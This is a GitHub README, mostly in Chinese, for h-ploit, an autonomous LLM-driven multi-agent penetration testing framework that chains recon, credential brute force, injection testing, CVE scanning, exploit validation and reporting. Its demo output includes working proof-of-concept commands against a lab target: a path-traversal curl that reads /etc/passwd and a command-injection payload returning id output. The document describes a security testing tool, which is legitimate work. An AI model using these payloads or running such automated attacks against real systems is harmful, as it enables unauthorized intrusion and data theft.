BouaradaHoussem/h-ploit
GitHub: BouaradaHoussem/h-ploit
一个基于 LangGraph 和 MCP 的自主多智能体渗透测试框架,将 14 个专职 agent 串联完成从侦察到报告的全流程安全评估,并通过 LLM 驱动决策与漏洞自动验证来降低误报率。
Stars: 0 | Forks: 0
# h-ploit
**自主多智能体渗透测试框架**




## h-ploit 是什么?
h-ploit 是一个自主的渗透测试框架,它将 **14 个专门的 agent** 链接到一个单一的 LangGraph pipeline 中,每个 agent 都通过 **Model Context Protocol (MCP)** 封装了一个真实的攻击性工具。它运行的正是人类测试员会执行的工作流程——侦察、凭证测试、爬取、注入测试、CVE 扫描、漏洞利用*验证*以及报告——并使用 LLM (Groq `llama-3.3-70b`) 来进行判断决策:优先级排序、目标选择、发现分类和攻击链关联。每一个报告的漏洞都会被重新利用,以产生具体的证据和可直接复制粘贴的复现命令。它已经在 DVWA、Metasploitable 2 以及(在被动/授权模式下)真实的漏洞赏金范围内经过了实战检验。
## 架构
```
Target
│
┌───────────────────────▼───────────────────────┐
│ Recon nmap · amass · subfinder · crt.sh │ + WAF/CDN fingerprint
└───────────────────────┬───────────────────────┘
┌───────────────────────▼───────────────────────┐
│ Supervisor LLM prioritization (Groq) │
└───────────────────────┬───────────────────────┘
┌───────────────────────▼───────────────────────┐
│ Creds hydra · ftplib · HTTP form replay │ (skipped behind WAF)
└───────────────────────┬───────────────────────┘
┌───────────────────────▼───────────────────────┐
│ Web httpx — live endpoints │ (CDN edge IPs filtered)
└───────────────────────┬───────────────────────┘
┌───────────────────────▼───────────────────────┐
│ Crawl katana — deep crawl + forms │
└───────────────────────┬───────────────────────┘
┌───────────────────────▼───────────────────────┐
│ JS JS endpoint + GraphQL extraction │
└───────────────────────┬───────────────────────┘
┌───────────────────────▼───────────────────────┐
│ XSS · LFI · CMDi dalfox / traversal / cmdi │
└───────────────────────┬───────────────────────┘
┌───────────────────────▼───────────────────────┐
│ Nuclei LLM-selected targets · CVE scan │
└───────────────────────┬───────────────────────┘
┌───────────────────────▼───────────────────────┐
│ Exploitation validation + PoC (curl) evidence │
└───────────────────────┬───────────────────────┘
┌───────────────────────▼───────────────────────┐
│ Fuzz ffuf — directory discovery │ (WAF-aware wordlist)
└───────────────────────┬───────────────────────┘
┌───────────────────────▼───────────────────────┐
│ API sqlmap — SQL injection │
└───────────────────────┬───────────────────────┘
┌───────────────────────▼───────────────────────┐
│ Correlation LLM attack-chain analysis │
└───────────────────────┬───────────────────────┘
┌───────────────────────▼───────────────────────┐
│ Report Markdown + JSON · OWASP mapped │
└────────────────────────────────────────────────┘
```
工具节点是**确定性的** —— LLM 从不发出工具调用,因此该 pipeline 对格式错误的工具调用 bug 免疫。LLM 仅在它*读取*结果并返回分析的地方使用(主管、目标选择、发现分类、关联、执行摘要),并且每个 LLM 步骤都有基于规则的回退机制,因此该框架在没有 API key 的情况下也能完全运行。
## 功能
- ✅ **14 个 agent 的 LangGraph pipeline**,基于共享的类型化状态对象
- ✅ **9 个 MCP server** 封装了真实的攻击性工具(argv 安全、有界限、标准库解析)
- ✅ **LLM 驱动的决策** —— 优先级排序、nuclei/ffuf 目标选择、发现分类、攻击链关联(Groq `llama-3.3-70b`,确定性回退机制)
- ✅ **注入覆盖** —— 反射型/DOM XSS、LFI/路径遍历、命令注入、SQL 注入(GET 参数**和** POST 表单)
- ✅ **自动验证** —— 每个发现都被重新利用转化为具体证据(文件内容、`uid=` 输出、枚举的表)以及可复制粘贴的 `curl` PoC
- ✅ **WAF/CDN 检测** —— Cloudflare、Akamai、Fastly、CloudFront、Imperva;攻击性工具会自动退避
- ✅ **子域名枚举** —— amass + subfinder + crt.sh,去重并合并
- ✅ **漏洞赏金模式** —— CDN-edge-IP 过滤、LLM 目标选择、WAF 感知模糊测试,以及针对公开域名的“漏洞赏金快速摘要”
- ✅ **专业报告** —— Markdown + 机器可读的 JSON,映射 OWASP Top 10,包含修复和复现步骤
- ✅ **PostgreSQL 持久化** —— 任务在重启后依然保留;完整的运行历史记录
- ✅ **React dashboard** —— 实时显示每个 agent 的进度和严重程度细分
- ✅ **FastAPI 后端** —— 用于启动任务和获取报告的 REST API
## 演示
针对 Metasploitable 2 / mutillidae 目标运行:
```
$ python orchestrator.py 172.20.0.20
[✓] recon — 1 host, 6 open port(s), 0 subdomain(s)
[✓] supervisor — prioritized: probe web services first (largest attack surface)
[✓] web — 3 live web endpoint(s)
[✓] crawl — 27 URL(s), 6 form(s) (2 POST)
[✓] xss — 4 XSS finding(s)
[✓] lfi — 2 LFI finding(s)
[✓] cmdi — 1 CMDi finding(s)
[✓] nuclei — 10 raw match(es) -> 8 actionable after filter
[✓] exploitation — 5 CONFIRMED finding(s)
[✓] report — 37 finding(s) -> reports/172.20.0.20_20260707_142013.md
```
生成的报告摘录 —— **已验证**的发现包含真实的证据和可运行的 PoC:
```
## 已验证的发现 (5)
### V-1: 通过 'page' 的 LFI / path traversal [Critical] — 已确认
- Location: `http://172.20.0.20/mutillidae/index.php`
- Evidence: Successfully read /etc/passwd: root:x:0:0:root:/root:/bin/bash | daemon:x:1:1:...
- Reproduction:
curl -sk 'http://172.20.0.20/mutillidae/index.php?page=../../../etc/passwd'
curl -sk 'http://172.20.0.20/mutillidae/index.php?page=../../../etc/passwd' | grep 'root:x:0:0'
### V-2: 通过 'target_host' 的 Command injection [Critical] — 已确认
- Evidence: Command executed: uid=33(www-data) gid=33(www-data) groups=33(www-data)
- Reproduction:
curl -sk 'http://172.20.0.20/mutillidae/index.php?page=dns-lookup.php' \
--data 'target_host=127.0.0.1; id&dns-lookup-php-submit-button=Lookup+DNS'
```
**严重程度摘要:** 2 个严重 · 10 个高危 · 5 个中危 · 20 个信息 —— 通过重新利用排除了误报。
## 快速开始
### 1. 安装
```
git clone https://github.com/h-ploit/h-ploit.git && cd h-ploit
python3 -m venv venv && source venv/bin/activate
pip install -r requirements.txt
```
### 2. 外部工具(必须在 `PATH` 中)
```
sudo apt install nmap hydra sqlmap amass # system packages
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
go install github.com/projectdiscovery/katana/cmd/katana@latest
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install github.com/ffuf/ffuf/v2@latest
go install github.com/hahwul/dalfox/v2@latest
```
### 3. 配置(可选)
```
export GROQ_API_KEY=... # enables LLM decisions (falls back to rules if unset)
export DATABASE_URL=postgresql+asyncpg://pentest:pentest@localhost:5434/pentestdb
```
### 4. 运行
```
# CLI — 单个目标,streamed 到 console
python orchestrator.py 172.20.0.20
# API + UI
uvicorn backend.main:app --reload --port 8000 # backend
cd frontend && npm install && npm run dev # dashboard on :5173
```
### 5. 调试任何阶段
```
PENTEST_DEBUG=1 python orchestrator.py 标签:AI智能体, CISA项目, DLL 劫持, 多智能体协同, 大语言模型, 实时处理, 密码管理, 测试用例, 运行时操纵